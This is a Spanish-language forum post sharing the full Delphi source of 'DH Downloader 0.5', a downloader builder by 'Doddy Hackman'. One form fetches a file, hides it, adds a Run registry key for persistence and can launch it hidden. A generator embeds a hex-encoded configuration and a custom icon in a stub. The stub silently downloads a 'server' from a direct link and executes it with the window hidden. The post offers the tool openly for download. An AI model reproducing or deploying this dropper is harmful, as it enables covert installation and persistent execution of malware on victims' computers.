[Delphi] DH Downloader 0.5

[BigBear]

Un simple programa en Delphi para bajar archivos con las siguientes opciones :

• Se puede cambiar el nombre del archivo descargado
  
• Se puede guardar en la carpeta que quieran
  
• Se puede ocultar el archivo
  
• Hace que el archivo se inicie cada vez que carga Windows
  
• Se puede cargar oculto o normal
  
• Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
  
  Unas imagenes :
  
  
  
  
  
  
  
  El codigo.
  
  El form principal.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit dh;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;

type
 TForm1 = class(TForm)
   sSkinManager1: TsSkinManager;
   Image1: TImage;
   sGroupBox1: TsGroupBox;
   sButton1: TsButton;
   sButton2: TsButton;
   sButton3: TsButton;
   sButton4: TsButton;
   procedure sButton3Click(Sender: TObject);
   procedure sButton4Click(Sender: TObject);
   procedure sButton1Click(Sender: TObject);
   procedure sButton2Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

uses about, usbmode, generate;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

 sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
 sSkinManager1.SkinName := 'neonnight';
 sSkinManager1.Active := True;

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
 Form3.Show;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
 Form4.Show;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
 Form2.Show;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
 Form1.Close;
end;

end.

// The End ?

  
  El USB Mode.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit usbmode;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
 sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
 IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;

type
 TForm3 = class(TForm)
   Image1: TImage;
   sStatusBar1: TsStatusBar;
   sGroupBox1: TsGroupBox;
   sGroupBox2: TsGroupBox;
   sEdit1: TsEdit;
   sGroupBox3: TsGroupBox;
   sCheckBox1: TsCheckBox;
   sEdit2: TsEdit;
   sCheckBox2: TsCheckBox;
   sEdit3: TsEdit;
   sCheckBox3: TsCheckBox;
   sCheckBox4: TsCheckBox;
   sCheckBox5: TsCheckBox;
   sRadioButton1: TsRadioButton;
   sRadioButton2: TsRadioButton;
   sGroupBox4: TsGroupBox;
   sButton1: TsButton;
   sProgressBar1: TsProgressBar;
   IdHTTP1: TIdHTTP;
   procedure sButton1Click(Sender: TObject);
   procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
     AWorkCount: Int64);
   procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
     AWorkCountMax: Int64);
   procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
   procedure FormCreate(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form3: TForm3;

implementation

uses about, dh;
{$R *.dfm}
// Functions

function getfilename(archivo: string): string;
var
 test: TStrings;
begin

 test := TStringList.Create;
 test.Delimiter := '/';
 test.DelimitedText := archivo;
 Result := test[test.Count - 1];

 test.Free;

end;

//

procedure TForm3.FormCreate(Sender: TObject);
begin
 sProgressBar1.Position := 0;
end;

procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
 AWorkCount: Int64);
begin
 sProgressBar1.Position := AWorkCount;
 sStatusBar1.Panels[0].Text := '[+] Downloading ...';
 sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
 AWorkCountMax: Int64);
begin
 sProgressBar1.Max := AWorkCountMax;
 sStatusBar1.Panels[0].Text := '[+] Starting download ...';
 sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
 sProgressBar1.Position := 0;
end;

procedure TForm3.sButton1Click(Sender: TObject);
var
 filename: string;
 nombrefinal: string;
 addnow: TRegistry;
 archivobajado: TFileStream;

begin

 if not sCheckBox1.Checked then
 begin
   filename := sEdit1.Text;
   nombrefinal := getfilename(filename);
 end
 else
 begin
   nombrefinal := sEdit2.Text;
 end;

 archivobajado := TFileStream.Create(nombrefinal, fmCreate);

 try
   begin
     DeleteFile(nombrefinal);
     IdHTTP1.Get(sEdit1.Text, archivobajado);
     sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
     sStatusBar1.Update;
     archivobajado.Free;
   end;
 except
   sStatusBar1.Panels[0].Text := '[-] Failed download';
   sStatusBar1.Update;
   archivobajado.Free;
   Abort;
 end;

 if FileExists(nombrefinal) then
 begin

   if sCheckBox2.Checked then
   begin
     if not DirectoryExists(sEdit3.Text) then
     begin
       CreateDir(sEdit3.Text);
     end;
     MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
     sStatusBar1.Panels[0].Text := '[+] File Moved';
     sStatusBar1.Update;
   end;

   if sCheckBox3.Checked then
   begin
     SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
     if sCheckBox2.Checked then
     begin
       SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
         FILE_ATTRIBUTE_HIDDEN);

       sStatusBar1.Panels[0].Text := '[+] File Hidden';
       sStatusBar1.Update;
     end
     else
     begin
       SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
       sStatusBar1.Panels[0].Text := '[+] File Hidden';
       sStatusBar1.Update;
     end;
   end;

   if sCheckBox4.Checked then
   begin

     addnow := TRegistry.Create;
     addnow.RootKey := HKEY_LOCAL_MACHINE;
     addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

     if sCheckBox2.Checked then
     begin
       addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
     end
     else
     begin
       addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
           + '/' + nombrefinal);
     end;

     sStatusBar1.Panels[0].Text := '[+] Registry Updated';
     sStatusBar1.Update;

     addnow.Free;

   end;

   if sCheckBox5.Checked then
   begin

     if sRadioButton1.Checked then
     begin
       if sCheckBox2.Checked then
       begin
         ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
           nil, nil, SW_SHOWNORMAL);
       end
       else
       begin
         ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
           SW_SHOWNORMAL);
       end;
     end
     else
     begin
       if sCheckBox2.Checked then
       begin
         ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
           nil, nil, SW_HIDE);
       end
       else
       begin
         ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
       end;
     end;

   end;

   if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
     sCheckBox4.Checked or sCheckBox5.Checked then
   begin
     sStatusBar1.Panels[0].Text := '[+] Finished';
     sStatusBar1.Update;
   end;

 end;

end;

end.

// The End ?

  
  El generador.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit generate;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
 sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;

type
 TForm4 = class(TForm)
   Image1: TImage;
   sStatusBar1: TsStatusBar;

   OpenDialog1: TOpenDialog;
   sPageControl1: TsPageControl;
   sTabSheet1: TsTabSheet;
   sTabSheet2: TsTabSheet;
   sTabSheet3: TsTabSheet;
   sGroupBox1: TsGroupBox;
   sGroupBox2: TsGroupBox;
   sEdit1: TsEdit;
   sGroupBox3: TsGroupBox;
   sEdit2: TsEdit;
   sGroupBox4: TsGroupBox;
   sRadioButton1: TsRadioButton;
   sRadioButton2: TsRadioButton;
   sGroupBox5: TsGroupBox;
   sGroupBox6: TsGroupBox;
   sGroupBox7: TsGroupBox;
   Image2: TImage;
   sButton1: TsButton;
   sGroupBox8: TsGroupBox;
   sComboBox1: TsComboBox;
   sGroupBox9: TsGroupBox;
   sCheckBox1: TsCheckBox;
   sEdit3: TsEdit;
   sGroupBox10: TsGroupBox;
   sButton2: TsButton;
   procedure sButton1Click(Sender: TObject);
   procedure sEdit2Click(Sender: TObject);
   procedure sButton2Click(Sender: TObject);

   procedure FormCreate(Sender: TObject);

 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form4: TForm4;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

function getfilename(archivo: string): string;
var
 test: TStrings;
begin

 test := TStringList.Create;
 test.Delimiter := '/';
 test.DelimitedText := archivo;
 Result := test[test.Count - 1];

 test.Free;

end;

//

procedure TForm4.FormCreate(Sender: TObject);
begin

 OpenDialog1.InitialDir := GetCurrentDir;
 OpenDialog1.Filter := 'ICO|*.ico|';

end;

procedure TForm4.sButton2Click(Sender: TObject);
var
 linea: string;
 aca: THandle;
 code: Array [0 .. 9999 + 1] of Char;
 nose: DWORD;
 marca_uno: string;
 marca_dos: string;
 url: string;
 opcionocultar: string;
 savein: string;
 lineafinal: string;
 stubgenerado: string;
 tipodecarga: string;
 change: DWORD;
 valor: string;

begin

 url := sEdit1.Text;
 stubgenerado := 'tiny_down.exe';

 if (sRadioButton2.Checked = True) then
 begin
   tipodecarga := '1';
 end
 else
 begin
   tipodecarga := '0';
 end;

 if (sCheckBox1.Checked = True) then
 begin
   opcionocultar := '1';
 end
 else
 begin
   opcionocultar := '0';
 end;

 if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
 begin
   savein := 'USERPROFILE';
 end
 else
 begin
   savein := sComboBox1.Items[sComboBox1.ItemIndex];
 end;

 lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
   '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
   '[name]' + '[carga]' + tipodecarga + '[carga]';

 marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

 aca := INVALID_HANDLE_VALUE;
 nose := 0;

 DeleteFile(stubgenerado);
 CopyFile(PChar(ExtractFilePath(Application.ExeName)
       + '/' + 'Data/stub_down.exe'), PChar
     (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

 linea := marca_uno;
 StrCopy(code, PChar(linea));
 aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
   OPEN_EXISTING, 0, 0);
 if (aca <> INVALID_HANDLE_VALUE) then
 begin
   SetFilePointer(aca, 0, nil, FILE_END);
   WriteFile(aca, code, 9999, nose, nil);
   CloseHandle(aca);
 end;

 //

 if not(sEdit3.Text = '') then
 begin
   try
     begin

       valor := IntToStr(128);

       change := BeginUpdateResourceW
         (PWideChar(wideString(ExtractFilePath(Application.ExeName)
               + '/' + stubgenerado)), False);
       LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
         PWideChar(wideString(sEdit3.Text)));
       EndUpdateResourceW(change, False);
       sStatusBar1.Panels[0].Text := '[+] Done ';
       sStatusBar1.Update;
     end;
   except
     begin
       sStatusBar1.Panels[0].Text := '[-] Error';
       sStatusBar1.Update;
     end;
   end;
 end
 else
 begin
   sStatusBar1.Panels[0].Text := '[+] Done ';
   sStatusBar1.Update;
 end;

 //

end;

procedure TForm4.sButton1Click(Sender: TObject);
begin

 if OpenDialog1.Execute then
 begin
   Image2.Picture.LoadFromFile(OpenDialog1.FileName);
   sEdit3.Text := OpenDialog1.FileName;
 end;

end;

procedure TForm4.sEdit2Click(Sender: TObject);
begin
 if not(sEdit1.Text = '') then
 begin
   sEdit2.Text := getfilename(sEdit1.Text);
 end;
end;

end.

// The End ?

  
  El stub
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Downloader 0.5
// (C) Doddy Hackman 2013

// Stub

program stub_down;

// {$APPTYPE CONSOLE}

uses
 SysUtils, Windows, URLMon, ShellApi;


// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
 Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
 SetLength(text, AnsiPos(hastaaca, text) - 1);
 Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

//

var
 ob: THandle;
 code: Array [0 .. 9999 + 1] of Char;
 nose: DWORD;
 link: string;
 todo: string;
 opcion: string;
 path: string;
 nombre: string;
 rutafinal: string;
 tipodecarga: string;

begin

 try

   ob := INVALID_HANDLE_VALUE;
   code := '';

   ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
     OPEN_EXISTING, 0, 0);
   if (ob <> INVALID_HANDLE_VALUE) then
   begin
     SetFilePointer(ob, -9999, nil, FILE_END);
     ReadFile(ob, code, 9999, nose, nil);
     CloseHandle(ob);
   end;

   todo := regex(code, '[63686175]', '[63686175]');
   todo := dhencode(todo, 'decode');

   link := regex(todo, '[link]', '[link]');
   opcion := regex(todo, '[opcion]', '[opcion]');
   path := regex(todo, '[path]', '[path]');
   nombre := regex(todo, '[name]', '[name]');
   tipodecarga := regex(todo, '[carga]', '[carga]');

   rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

   try

     begin
       UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

       if (FileExists(rutafinal)) then
       begin

         if (opcion = '1') then
         begin
           SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
         end;

         if (tipodecarga = '1') then
         begin
           ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
         end
         else
         begin
           ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
         end;
       end;

     end;
   except
     //
   end;

 except
   //
 end;

end.

// The End ?

  
  Si lo quieren bajar lo pueden hacer de aca.